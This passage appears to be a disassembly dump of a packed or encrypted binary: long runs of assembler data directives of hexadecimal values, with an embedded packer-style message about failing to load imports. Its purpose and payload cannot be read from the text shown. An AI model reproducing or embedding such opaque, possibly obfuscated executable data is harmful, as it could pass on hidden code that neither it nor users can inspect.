2F8DA83h, 0B9419127h, 7EA72370h, 0BA66530Ah, 3D5A797Fh dd 0E6A0162Bh, 4078485Ah, 72176432h, 2879C3D5h, 8C6D4E0Dh dd 0EB7A9054h, 55841A0Fh, 5A796D75h, 9C0285Dh, 796E641Ch dd 8016E45Ah, 0A85FCA30h, 6EC2A693h, 7C4A5A79h, 0D47E20C8h dd 0E9215D23h, 7E177F40h, 8565A79h, 929763F2h, 0DB4EACFCh dd 7EBDCD8Eh, 3BBF5A79h, 40BFA1EEh, 0B1FFA4F1h, 95E3565Bh dd 1F0AF047h, 301D3289h, 5A797E4Ch, 28CE06D4h, 24BF41FDh dd 0D1182264h, 278DF38Ah, 50A48370h, 56245A79h, 34514809h dd 666C26D8h, 193BE590h, 0B61C3F34h, 0C5000001h, 0BCDFC3B0h dd 765CEDAh, 760DF782h, 97CF9D4Fh, 0BDAABF86h, 5491D3D9h dd 0B55B9361h, 130D082h, 956C1CB4h, 51B74F9Ch, 0CD5AAD9Ah dd 14E25176h, 81B04F5Dh, 518294EBh, 513522B6h, 0D95A7914h dd 4460570Bh, 0E11E2A62h, 0C1A0350h, 1A053DF4h, 0D9BF2C1Ch dd 3EBDCB4Eh, 0C0EBCC9Dh, 0E74DFF0Fh, 0E742B89Ah, 77854981h dd 7C121FE0h, 115ED32Ch, 4CE51A28h, 4AB767FFh, 0DC09AFE7h dd 0ED53DE22h, 0EAF90757h, 13169D66h, 0FF3E0B9h, 97E1C022h dd 0B0FD63C9h, 6A0031CEh, 0FF4CE51Ah, 49B4B03Eh, 0E54CB2B3h dd 0E849B698h, 52A8F69Bh, 3C4ACD4Dh, 8B2370A9h, 0EA798F53h dd 36861C15h, 18041AC9h, 6C136EF8h, 0C2D0B906h, 15BBF33Eh dd 0D4C178E0h, 544BB7F0h, 969B6573h, 0FD01B149h, 0CFEEFC34h dd 0A5F23FC1h, 0B79A7E0Dh, 5422544Bh, 8BD841A4h, 0A7F78DF3h dd 0C88D554h, 0AAB86FD9h, 8FA2DA57h, 4BB7CAA2h, 0CA374554h dd 0C7381A67h, 0BECC046Ah, 0F50A5AF0h, 0EC73853Ch, 7C58A04Eh dd 0B799427Ah, 0F398E544h, 0FF0057A5h, 0B34C9C32h, 3348317Eh dd 4B5E6246h, 6C1CEA54h, 0BD639B8Eh, 7C692088h, 544B5EA0h dd 381C0928h, 0C0544B5Fh, 0C7D58CF2h, 11A9F633h, 6897E7D9h dd 10FD12C9h, 544B5F2Ch, 5AEE6B4h, 653DE23h, 4BAFBD68h dd 14E2A6DEh, 0D96FC23Dh, 5C6A7689h, 17FB8A9Fh, 9F544B5Fh dd 0A21E6BD1h, 394E0573h, 125FBA2Bh, 8757427Ah, 7544B5Eh dd 0F708239h, 950DFF39h, 0D525174Fh, 3CB8052Ch, 0FBE89F09h dd 544B3627h, 0C56497AFh, 0E47AE078h, 0F839C68Fh, 0DD4F7862h dd 47E21826h, 0D9E7FC0Fh, 27BF0C25h, 0DA8904EFh, 0C3915176h dd 2E03FE0Ch, 78B94898h, 0CA84AF2Bh, 0CBADFA37h, 1AB2FF1Ah dd 82974EB4h, 0C6A03670h, 7CB43B96h, 5EA66E91h, 0F1A87657h dd 0DB131EE3h, 98917132h, 4E796060h, 1F3A27DEh, 275D45A5h dd 0D52A0C59h, 0F946D312h, 0E349E817h, 423CB22Fh, 96F476Dh dd 21CB9CE5h, 7317F4D9h, 53Fh, 8C22F7EDh, 0D56BBE3Ch, 23B96085h dd 6E042DD3h, 0B64CDD1Eh, 0EA11349Dh, 0A559A93Fh, 5BA6F68Ch dd 0FF040D6h, 9EB78C22h, 7FE1CDB1h, 0EA6F555Ah, 0DA91FB2Ch dd 76F992EDh, 0FF4C1A51h, 0D9B80416h, 7F305D4Ch, 0B1FE2BCFh dd 17F6E119h, 0B25A799Bh, 812B5EACh, 0C1409B3Fh, 4BDABBAFh dd 6AA20AA0h, 0D9F8h, 37E7A300h, 0B95491D4h, 0C437E742h dd 1A801865h, 0CE2D3B76h, 0A278A75Bh, 57F6750Ch, 0FBEC131Fh dd 12C92FEAh, 319D5D00h, 33BE819h, 3FE32711h, 0F1DED02Dh dd 5491FB0Dh, 3F13C795h, 0B71D9Eh, 0D24DDEBh, 5F028C0h dd 54923D29h, 1A2CE3B1h, 2CCE483Ah, 0B72249FDh, 5D3FE820h dd 8AA641A2h, 26AC2456h, 8402AC0h, 2602EFA6h, 0AE54922Fh dd 60C66B96h, 63CE3113h, 0FFAFE3CDh, 0F8E12EFBh, 922F270Bh dd 7BE1AF54h, 3B495E15h, 851D6ABFh, 922F12F6h, 94CC9A54h dd 325A6C81h, 301DC2DAh, 5C1C073Fh, 0D754929Bh, 0ACF938C9h dd 98816414h, 37845260h, 925B9676h, 0AAB85554h, 0C26F8F50h dd 2A77DD75h, 40965A92h, 6BD3357h, 92DC5919h, 750BD954h dd 0B763h, 0FB2CC600h, 0D2EDDA91h, 0DA5176C0h, 0C8D6BF0Ch dd 0B4C0F839h, 6751E74Ah, 2A17CE22h, 5A78E752h, 0FEBDB6D2h dd 0E070E251h, 36C2D7Ah, 26B155B4h, 0F59FCA20h, 35409B7Fh dd 225AD727h, 77B0h, 0E52C5B00h, 0B9C7DC93h, 59DEA47h dd 3986AB55h, 9A7E69A1h, 1D5491D3h, 0D4371B08h, 24C15491h dd 3D7543F5h, 3214612Fh, 0E5CF65CCh, 83954CACh, 8E6DEB99h dd 8194CCA4h, 92268494h, 0B06D7F54h, 4F1C443Bh, 2AF8063Eh dd 4C3C1CDDh, 0ADFB5492h, 0EF3015Fh, 0C45EB23h, 1AE7F5ACh dd 0CBF5D9C6h, 0AF7D5492h, 0C7629949h, 7F8F7C8Fh, 7F5492CBh dd 0B6C41BB1h, 0A0B1E948h, 0ABF839C6h, 0A9AD36C9h, 896D5AC9h dd 11549211h, 50328F43h, 0E1F3AA10h, 9A3D1E49h, 0DD08B8A0h dd 1F57EF3Ch, 38C8D62Dh, 0E81BC1F9h, 0A6B4C980h, 0B19CD455h dd 51773752h, 0F6B704D2h, 5A793816h, 2A5DABB1h, 409B9C80h dd 3B61h, 0FB2C0C00h, 35CCDA91h, 80E633B2h, 12203548h dd 11F744EDh, 0F990C0FCh, 3D75DB9Ah, 77688B52h, 0F03D0B51h dd 79684F2Fh, 16E4EA5Ah, 9B69B963h, 1019A40h, 35430000h dd 1A2B63C6h, 41F839C6h, 1A67B233h, 0BFA14A82h, 2136ED3Ch dd 0D43B1F0Ch, 0F5C35491h, 91D38266h, 8C3C0A54h, 0DB73C059h dd 0E718FAA3h, 7C85934Ah, 39E005B5h, 89765801h, 63E312A8h dd 655491D8h, 0AA01979Ah, 0A0C0EC98h, 0ADE5A5E7h, 86D35EA1h dd 0B86FD90Ah, 7716D8CBh, 34CDDB51h, 0E018B0FDh, 0E2C6B3D2h dd 6A5A793Dh, 0B6A0369Ch, 56641B8Dh, 394C84A5h, 5FD1E64Ch dd 2ED3E157h, 0E61EB603h, 45530AD8h, 57D229B6h, 0C5283AF1h dd 0FF4B98Fh, 0CBB49885h, 6E3C6063h, 8EDED008h, 0F398BC6Dh dd 77DF0583h, 21DF69Ah, 0D50F0000h, 9C5EAE44h, 3EA7F78Dh dd 0BF545DBh, 0BB409026h, 56BFD86Eh, 0CB61C833h, 18AE837Bh dd 62F839C8h, 0AE44ED12h, 0EFD3C0D9h, 775A7FE4h, 35C60C91h dd 8FDC55AAh, 0C5DA91F7h, 91D3F4D8h, 9D647C54h, 49AF4794h dd 30CF1F11h, 0D3DFC3B0h, 99675491h, 2C489D33h, 0EDDA91FBh dd 5176FC26h, 0F31D8FA1h, 278525F1h, 5C13E1EFh, 45765A47h dd 30FE5A79h, 0AE8E4FF8h, 305A7945h, 2F115ECBh, 4DB363B6h dd 0D3C397E4h, 0DBE17805h, 8EB05A0Dh, 0DBF0409Bh, 79520AEEh dd 8CC4925Ah, 0B11Ah, 39C6C500h, 0B4C2ABF8h, 0FF97E44Dh dd 0E940BBC7h, 3A1B39Ch, 0ABB6F30Fh, 0F1715C94h, 0F3549233h dd 606E250Ch, 0A9418E9Bh, 0D02F7F71h, 6F981461h, 665946FDh dd 6E517725h, 0F7200AA0h, 0A7B9CE85h, 15967A5h, 0C58F4309h dd 0A240B9D1h, 1A5F4A82h, 9A575FB8h, 0F40715CCh, 0B06C7E35h dd 29CF44BFh, 93E3D50Dh, 0F89DC168h, 80DF059Dh, 10DFFA3h dd 0C51F0000h, 8C6EBE54h, 2EB7079Dh, 0FB0555EBh, 0AB50A036h dd 66CFE87Eh, 0DB71B843h, 28BE738Bh, 720829D8h, 0BE54DD22h dd 0FFE3D0E9h, 875A7FE5h, 35C61CA1h, 0F10E5EF4h, 1B086BF2h dd 399F7DBDh, 39C64EA3h, 36C9ABF8h, 487B65FBh, 1A3C29E0h dd 1D517FD5h, 0EF12020Bh, 80B91E02h, 24D8A65Ah, 0D40C5FCEh dd 0C2ABF8C6h, 7BDCC0ADh, 96645A80h, 3AAD525Eh, 391B68C1h dd 9E046AC7h, 0EA47B808h, 5FB4DC9Dh, 0C9366CC3h, 0C5391B68h dd 49361F6Ch, 8CC5E165h, 5EAC1FEDh, 1A50B588h, 56357424h dd 0AE3C70F0h, 17B67E90h, 76B25446h, 64CD323Eh, 1BF89BADh dd 838F418Ch, 0F609594Bh, 0F005EE3Bh, 0C64C1F03h, 0D851A98Ch dd 14205826h, 16F845ECh, 17F946EBh, 5BF946E3h, 0F056E9FFh dd 9DF784EBh, 5FFC6FD5h, 6448354Ah, 0EC8CC63Dh, 3DAB8F1Eh dd 14338CC6h, 0C63D4327h, 97FDCB8Ch, 0F64D9B5Fh, 42922809h dd 832774BDh, 3, 0C61358E6h, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h dd 0D4B6032Eh, 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h dd 6FBB0821h, 5E08950h, 4, 4B951h, 0C8290000h, 24048759h dd 2EE8685Ch, 34890000h, 41806824h, 2C890000h, 75B95124h dd 5721F90Bh, 0F4FB20BFh, 5FF901E3h, 5459CE89h, 83242C8Bh dd 9E6804C4h, 89000072h, 458F2434h, 242C8B08h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835E2434h, 98E904C4h dd 0CFFF96Ch, 0F839A844h, 0EE138BB8h, 0FFC50305h, 0F2539DE0h dd 9E5BAB2Ch, 6DBDE73Fh, 0F7028C2Bh, 94D48942h, 461F2B2Ch dd 0DF578D41h, 1A01C121h, 0DDAB772Ah, 1C1FF10h, 3E73165h dd 0D986AA63h, 0A30FF83Bh, 0BCEDCC3Dh, 4C4E5356h, 91C49653h dd 48EAD11Dh, 64ADA17Bh, 5C631F13h, 0E7F7C158h, 77CD115Ah dd 0F5AB6775h, 0E4DBD559h, 3A19815Ch, 35B4743h, 61EB02Eh dd 0FE871h, 9C7E0000h, 0D9E5B96Ch, 323B2F11h, 0FB8687A8h dd 0A642BF91h, 0E85B7D74h, 8, 29B4E8F1h, 0EDFFC326h, 12E9h dd 24B00E00h, 97144478h, 374640CCh, 8C165285h, 588B310Eh dd 745DC381h, 0BF0F0000h, 1CED68C2h, 81660000h, 5A3291EEh dd 7131EF81h, 0B8B4867h, 0AEA8F181h, 0DE9174Ch, 0EF000000h dd 9F05DD2Eh, 92163012h, 0C2979A10h, 0EBDAE981h, 820F1DCEh dd 2, 0E981C18Bh, 577DD156h, 0BE660B89h, 0EB813C0Bh, 2EA2A0FCh dd 81C7BF0Fh, 0A2A0F8C3h, 0B71BF2Eh, 0EA811B52h, 1, 0FFAC850Fh dd 0F53FFFFh, 8D58FEBFh, 0EE15938Dh, 9DBD0905h, 8905E707h dd 0E71AA98Dh, 0B5B58B05h, 0C705E70Bh, 0E72A4D85h, 641405h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0FF06E11Fh, 0D31B8F6h, 6298501h, 85C705E7h dd 5E72739h, 0 dd 16A59589h, 0B5FF05E7h, 5E72A29h, 0FFDBB70Fh, 0E7179595h dd 56B86605h, 0FF006A5Fh, 0E721C195h, 0EBC08B05h, 9FD76E28h dd 0C8933734h, 0CB742A2Ah, 3403FB88h, 0D333920Bh, 1B52885Ch dd 12889C7Ah, 0F68F5333h, 820ABC88h, 3D5F85E2h, 127E98Eh dd 5B500000h, 0EFAC7376h, 154Eh, 6E410000h, 72724520h dd 6820726Fh, 6F207361h, 72727563h, 77206465h, 656C6968h dd 616F6C20h, 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h dd 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h dd 777h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 0F26AA38Fh, 1C131137h dd 3D7F35B1h, 616641D5h, 9E35722Bh, 1177A9F2h, 90EF8832h dd 1081404Fh, 0A1F5BFBFh, 0C69914DBh, 0A8E5D069h, 10816C2Bh dd 45715632h, 1177A961h, 90EF8832h, 1081404Fh, 0A4E4BFBFh dd 0C69914DBh, 0D5EDD069h, 372F9B1h, 1A6627DCh, 156601B6h dd 0CE30532h, 0EA63AA37h, 5CE3AFE2h, 0EA63FF37h, 0B0E34EE2h dd 4363A300h, 0BDDE705Ah, 10D3EEAEh, 98636F19h, 0FF1BE5B7h dd 9CB6DD37h, 0F27D44B7h, 0F1E30537h, 4563AA24h, 0A3A7BFh dd 0EA3614DCh, 0F26C55A7h, 0B8E38337h, 1563C537h, 0D3661132h dd 0F2542DB7h, 7C0E0137h, 0EAE8505Bh, 0F26E8887h, 3FE30537h dd 0EA63A30Bh, 70E3ABE2h, 0D363F61Ah, 0F2542DB7h, 4B0E0737h dd 0EAFA4559h, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0E9E3ABE2h dd 0D363FF27h, 0F2542DB7h, 3C0E1037h, 0EA88405Ah, 0F26E8887h dd 3FE30537h, 0EA63A30Bh, 15E3ABE2h, 0D363FF24h, 0F2542DB7h dd 0D70E0137h, 0EABC420Ah, 0F26E8887h, 3FE30537h, 0EA63A30Bh dd 11E3ABE2h, 9663FF24h, 0F24D058Fh, 90694437h, 15662277h dd 27C394F4h, 7D238DD5h, 0EF463AB4h, 1DFF97CDh, 90EB14D5h dd 1081B118h, 90EF94CDh, 1088343Ah, 27C394F4h, 7D2A8DD5h dd 0F54094F1h, 1DFF97CDh, 90EB14D5h, 1081B118h, 90EF94CDh dd 1088343Eh, 156651DBh, 0B0E34E32h, 4763A300h, 5F822F5Ah dd 0F0D3EE8Eh, 98636F28h, 0F25F6EB7h, 9CB6DD37h, 0FB7019B7h dd 0B0E34E37h, 4763A300h, 592C6A5Ah, 0F0D3EE94h, 98636F28h dd 0F25F6EB7h, 9CB6DD37h, 0FB701DB7h, 0B0E34E37h, 4763A300h dd 57D2C85Ah, 8CD3EECFh, 98636F3Ah, 0F25F6EB7h, 9CB6DD37h dd 0F24678B7h, 0B0E34E37h, 6263A300h, 82CE815Ah, 90D3EEC1h dd 98636F25h, 0F25F6EB7h, 9CB6DD37h, 0F26DACB7h, 0B0E34E37h dd 4763A300h, 0C857355Ah, 8CD3EEB8h, 98636F3Ah, 0F25F6EB7h dd 9CB6DD37h, 0F2460CB7h, 0B0E34E37h, 4363A300h, 0A0B1B5Ah dd 10D3EEE6h, 98636F19h, 0FF1BE5B7h, 9CB6DD37h, 0F24370B7h dd 0B0E34E37h, 5263A300h, 0C976585Ah, 8CD3EEB3h, 98636F3Ah dd 0F25F6EB7h, 9CB6DD37h, 0F26ED4B7h, 0B0E34E37h, 5263A300h dd 1AD3C05Ah, 8CD3EEB8h, 98636F3Ah, 0F25F6EB7h, 9CB6DD37h dd 0FB703DB7h, 84DB0B37h, 1563A323h, 1337A63Dh, 90A01132h dd 1081BA97h, 98F2C7Eh, 0A099FBE8h, 108119ABh, 2C4C0DBFh dd 0C59941D5h, 37EA7BBh, 90A014DCh, 1081BA97h, 0CBA82C7Eh dd 0A099FF46h, 108119ABh, 2C4C0DBFh, 0C59941D5h, 37AA7BBh dd 90A014DCh, 1081BA97h, 97592C7Eh, 0A09995B3h, 108119ABh dd 2C4C0DBFh, 0C59941D5h, 346A7BBh, 90A014DCh, 1081BA97h dd 557E2C7Eh, 0A099911Dh, 108119ABh, 2C4C0DBFh, 0C59941D5h dd 346A7BBh, 90A014DCh, 1081BA97h, 13722C74h, 0A09998ECh dd 108119ABh, 2C4C0DBFh, 0C59941D5h, 34EA7BBh, 90A014DCh dd 1081BA97h, 51C2C75h, 0A099A3EEh, 108119ABh, 2C4C0DBFh dd 0C59941D5h, 356A7BBh, 90A014DCh, 1081BA97h, 9BCA2C75h dd 0A099CDB5h, 108119ABh, 2C4C0DBFh, 0C59941D5h, 352A7BBh dd 90A014DCh, 1081BA97h, 0B2B42C75h, 0A099F6A8h, 108119ABh dd 2C4C0DBFh, 0C59941D5h, 35EA7BBh, 90A014DCh, 1081BA97h dd 2C622C75h, 0A09998F3h, 108119ABh, 2C4C0DBFh, 0C59941D5h dd 35AA7BBh, 0A8E514DCh, 10819D4Bh, 0D3463132h, 0F25487B7h dd 720E5637h, 0EA86FA1Fh, 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh dd 55E301E2h, 0D363AA24h, 0F25487B7h, 0A40E5637h, 0EAE8A181h dd 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh, 51E301E2h, 0D363AA24h dd 0F25487B7h, 0B20E5237h, 0EAA6FE78h, 0F26EDD87h, 3FE3AF37h dd 0EA63F60Bh, 5DE301E2h, 0D363AA24h, 0F25487B7h, 0FE0E5D37h dd 0EA9DEE5Eh, 0F271C187h, 3FE3AF37h, 0EA63F60Bh, 0C9E301E2h dd 0D363AA24h, 0F25487B7h, 400E5537h, 0EADDFBBCh, 0F26EDD87h dd 3FE3AF37h, 0EA63F60Bh, 59E301E2h, 0D363AA24h, 0F25487B7h dd 0E90E5237h, 0EADA065Ch, 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh dd 45E301E2h, 0D363AA24h, 0F25487B7h, 0BF0E4237h, 0EAA0980Ch dd 0F26EDD87h, 3FE3AF37h, 0EA63F60Bh, 41E301E2h, 9663AA24h dd 0F2710F8Fh, 91691137h, 156688D2h, 27C3C1F4h, 7D2027D5h dd 0EFF0DF03h, 1DFF3DCDh, 90EB41D5h, 10811B18h, 90EFC1CDh dd 10889E82h, 27C3C1F4h, 7D2027D5h, 0E9C12BE4h, 1DFF3DCDh dd 90EB41D5h, 10811B18h, 90EFC1CDh, 10889EF2h, 27C3C1F4h dd 7D2027D5h, 879AB532h, 1DFF3DCDh, 90EB41D5h, 10811B18h dd 90EFC1CDh, 10889EF6h, 27C3C1F4h, 7D2027D5h, 0E3B25E58h dd 1DFF3DCDh, 90EB41D5h, 10811B18h, 90EFC1CDh, 10889EFAh dd 27C3C1F4h, 7D2027D5h, 81AB41D5h, 1DFF3DCDh, 90EB41D5h dd 10811B18h, 90EFC1CDh, 10889E86h, 27C3C1F4h, 7D2027D5h dd 0A4446509h, 1DFF3DCDh, 90EB41D5h, 10811B18h, 90EFC1CDh dd 10889E8Ah, 27C3C1F4h, 7D2027D5h, 0CA1FFBDFh, 1DFF3DCDh dd 90EB41D5h, 10811B18h, 90EFC1CDh, 10889E8Eh, 1FF9B1h dd 606627D5h, 0B0E3D712h, 46636F00h, 0AB861A5Ah, 8CD3DDFCh dd 9863F63Ah, 0F25FA2B7h, 9CB6BB37h, 0FB707AB7h, 0B0E3D737h dd 52636F00h, 0A438C35Ah, 8CD3DDF5h, 9863F63Ah, 0F25FA2B7h dd 9CB6BB37h, 0FB707EB7h, 6CDB9237h, 15636F27h, 90A06447h dd 10811097h, 6B637975h, 0A0996E50h, 10814CABh, 2C4CA7BFh dd 0C59914D5h, 3060DBBh, 90A041DCh, 10811097h, 1C907971h dd 0A0991A48h, 10814CABh, 2C4CA7BFh, 0C59914D5h, 3020DBBh dd 90A041DCh, 10811097h, 82467971h, 0A0997413h, 10814CABh dd 2C4CA7BFh, 0C59914D5h, 30E0DBBh, 0A8E541DCh, 1081374Bh dd 0D3266432h, 0F2542DB7h, 160E0737h, 0EAED229Ah, 0F26E8887h dd 3FE30537h, 0EA63A30Bh, 65E3ABE2h, 0D363FF24h, 0F2542DB7h dd 0C00E0737h, 0EA837904h, 0F26E8887h, 3FE30537h, 0EA63A30Bh dd 79E3ABE2h, 0D363FF24h, 0F2542DB7h, 0F40E0737h, 0EA8C8800h dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 61E3ABE2h, 0D363FF24h dd 0F2542DB7h, 220E0737h, 0EAE2D39Eh, 0F26E8887h, 3FE30537h dd 0EA63A30Bh, 6DE3ABE2h, 0D363FF24h, 0F2542DB7h, 0C10E0B37h dd 0EAF117A2h, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 69E3ABE2h dd 0D363FF24h, 0F2542DB7h, 170E0B37h, 0EA9F4C3Ch, 0F26E8887h dd 3FE30537h, 0EA63A30Bh, 95E3ABE2h, 0D363FF24h, 0F2542DB7h dd 5C0E0937h, 0EAAE154Bh, 0F26E8887h, 3FE30537h, 0EA63A30Bh dd 9DE3ABE2h, 0D363FF24h, 0F2542DB7h, 9C0E0937h, 0EABAD57Fh dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 91E3ABE2h, 0D363FF24h dd 0F2542DB7h, 220E1137h, 0EAFA391Fh, 0F26E8887h, 3FE30537h dd 0EA63A30Bh, 99E3ABE2h, 0D363FF24h, 0F2542DB7h, 3F0E0737h dd 0EAB4F7C2h, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 85E3ABE2h dd 0D363FF24h, 0F2542DB7h, 0FF0E1637h, 0EA9B6086h, 0F26E8887h dd 3FE30537h, 0EA63A30Bh, 7CE3ABE2h, 0D363F612h, 0F2542DB7h dd 8C0E0337h, 0EA84BA6Bh, 0F26E8887h, 3FE30537h, 0EA63A30Bh dd 81E3ABE2h, 0D363FF24h, 0F2542DB7h, 0D70E0337h, 0EAD7DF52h dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 8DE3ABE2h, 0D363FF24h dd 0F2542DB7h, 10E0337h, 0EAB984CCh, 0F26E8887h, 3FE30537h dd 0EA63A30Bh dd 89E3ABE2h, 0D363FF24h, 0F2542DB7h, 7D0E1B37h, 0EAF872C0h dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0B5E3ABE2h, 0D363FF24h dd 0F2542DB7h, 2A0E0B37h, 0EAA1DE49h, 0F26E8887h, 3FE30537h dd 0EA63A30Bh, 0D9E3ABE2h, 0D363FF24h, 0F2542DB7h, 590E0337h dd 0EA9C795Ch, 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0C5E3ABE2h dd 0D363FF24h, 0F2542DB7h, 0D80E0337h, 0EAA52416h, 0F26E8887h dd 3FE30537h, 0EA63A30Bh, 0C1E3ABE2h, 0D363FF24h, 0F2542DB7h dd 0D90E1B37h, 0EAB29952h, 0F26E8887h, 3FE30537h, 0EA63A30Bh dd 0B1E3ABE2h, 0D363FF24h, 0F2542DB7h, 5B0E1B37h, 0EAF8CB66h dd 0F26E8887h, 3FE30537h, 0EA63A30Bh, 0BDE3ABE2h, 0D363FF24h dd 0F2542DB7h, 5D0E1B37h, 0EAB7311Ah, 0F26E8887h, 3FE30537h dd 0EA63A30Bh, 0B9E3ABE2h, 7F63FF24h, 566E036h, 150E4432h dd 7F662222h, 40F3EE32h, 9C636F29h, 0F27FC1B7h, 9DE3AF37h dd 0EA63FCCCh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 0F27DDDA7h, 0BCE3CD37h, 9C63C53Bh, 0F27B10B7h, 7D26E237h dd 15665432h, 1466225Ah, 0EA667B32h, 0F27DDDA7h, 0E8E3CD37h dd 9E63C523h, 0F26DB487h, 74FB0337h, 9C63A330h, 0F26AFF87h dd 30FB9837h, 9E636F10h, 0F26425AFh, 966DA937h, 916911CBh dd 156682EDh, 26061562h, 0CE3ABF2h, 0AB63F610h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 37B79FBBh, 0EAE314D5h, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 10813603h, 150E1558h dd 47668822h, 80994458h, 10813967h, 3CA394BBh, 0C5ED8DD5h dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 0F27FC18Fh, 0EAAFA137h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0CE3EE60h, 9E636F10h dd 0F2445DA7h, 0C4F31B37h, 1A63F610h, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 3967C1F5h, 156627D5h dd 90A11132h, 1081902Fh, 15664432h, 3729FB1h, 1A6614DCh dd 156680B6h, 98FBC932h, 0EA63CF57h, 0BCE3EEE1h, 96636F35h dd 0F261ED8Fh, 97694637h, 15661150h, 12CF0DF5h, 156741D5h dd 98062232h, 0FB70FD87h, 42DB0537h, 3E63AA01h, 9EB1A9CCh dd 0F27F948Fh, 0EAAF0B37h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 1081994Fh dd 1571C03Dh, 0A8E52232h, 1081093Bh, 1FE38732h, 0D2664432h dd 0F2638FB7h, 15661037h, 0BBDFE932h, 0AF1E32E2h, 4B7DC556h dd 0C8D3989Fh, 0D2636F3Eh, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 10811DEFh, 156E71DBh, 26BECF32h dd 0F2638FB7h, 16AED037h, 0D5A74A19h, 9CA77722h, 0F2638FAFh dd 15662C37h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 0C8D39836h, 9E636F3Eh dd 0F26425AFh, 9E6DA937h, 0D7ED71E2h, 3C770D19h, 0F5A741D5h dd 90E32130h, 8363F616h, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 0D0F303FBh, 2E63A31Bh, 2DE22D30h, 96661132h dd 2E278CF0h, 0F24495BFh, 0FDE32D37h, 9899EECDh, 0FB735987h dd 9CDBC937h, 0B963C52Fh, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 0F22BACBFh, 9C87BB37h, 0F2443BBFh dd 433F4B37h, 170715B9h, 1EED41D5h, 377FA7B9h, 0F5B714D5h dd 3EDB0D31h, 0E35541D5h, 0D4CB44A4h, 906513D2h, 1081ACB7h dd 0D465E9A4h, 0C8DBA16Ch, 1463F623h, 155F0C3Dh, 985D4432h dd 10812AABh, 154B953Dh, 985D8832h, 108153B7h, 1547A63Dh dd 985D1132h, 1081A25Fh, 1573C03Dh, 88EB2232h, 10883A1Dh dd 0EDED5BCDh, 1693C1BBh, 0A18F27D5h, 98661134h, 0FB4DA7AFh dd 96B5BB37h, 0F277FF8Fh, 91691137h, 1566882Fh, 3013C109h dd 916927D5h, 1566113Eh, 0C230D09h, 906941D5h, 15662237h dd 0EA99A8DBh, 70E3B3CDh, 1A63A31Ah, 15663AB7h, 98DB9232h dd 15636F19h, 156DC13Dh, 90EB2232h, 108BEFF8h, 0EA991DDBh dd 70E37FCDh, 1A63C51Ah, 0EA9998B6h, 0D8DB0BCDh, 1463AA27h dd 1571A73Dh, 905D1132h, 10889E1Eh, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 0F277B38Fh, 91691137h dd 15668B55h, 37EC109h, 121327DCh, 3F5B94B9h, 2E218DD5h dd 0FB7064B7h, 9E615737h, 0F26504B7h, 905DCF37h, 1088522Eh dd 90ED2547h, 10811F4Bh, 31E3B375h, 6063AA24h, 10E3A935h dd 5263F61Dh, 34E0D09h, 121341DCh, 301BA7B9h, 2E2114D5h dd 0FB70A4B7h, 9E613137h, 0F27DBBB7h, 905D5637h, 10889E02h dd 90ED4347h, 10812487h, 21E32A75h, 60636624h, 48E3CF35h dd 5263C51Eh, 35E9409h, 12138DDCh, 3BAFC1B9h, 2E2127D5h dd 0FB702DB7h, 9E61FD37h, 0F24105B7h, 905D6537h, 10880776h dd 90ED8F47h, 10814C07h, 55E31975h, 6063FF24h, 6CDB0B22h dd 1563A327h, 90ED2547h, 108100FBh, 0E0DB0B75h, 1563A312h dd 905D2D46h, 108807FEh, 90ED8F47h, 108161D3h, 38DBA175h dd 1563F625h, 0A8E5FA46h, 1081539Bh, 2E0F5632h, 0FB70A1B7h dd 9E61FD37h, 0F26095B7h, 905D6537h, 108807F2h, 90ED8F47h dd 10814267h, 0A1E31975h, 6063FF24h, 0E4E30335h, 5263A33Bh dd 3A2A709h, 121314DCh, 35A70DB9h, 2E2141D5h, 0FB70EAB7h dd 9E616437h, 0F24DA1B7h, 905D0337h, 1088348Ah, 90ED1647h dd 10819477h, 0A9E37F75h, 6063CC24h, 80E39A35h, 52636F20h dd 2CFF9B1h, 1A6627D5h, 15641BB6h, 5DE3B332h, 6063AA24h dd 98E3A935h, 5263F611h, 3BA0D09h, 121341DCh, 0A97A7B9h dd 2E2114D5h, 0FB70C4B7h, 9E613137h, 0F24E0FB7h, 905D5637h dd 10889E62h, 90ED4347h, 10810ACBh, 41E32A75h, 60636624h dd 0ACE3CF35h, 5263C52Dh, 33E9409h, 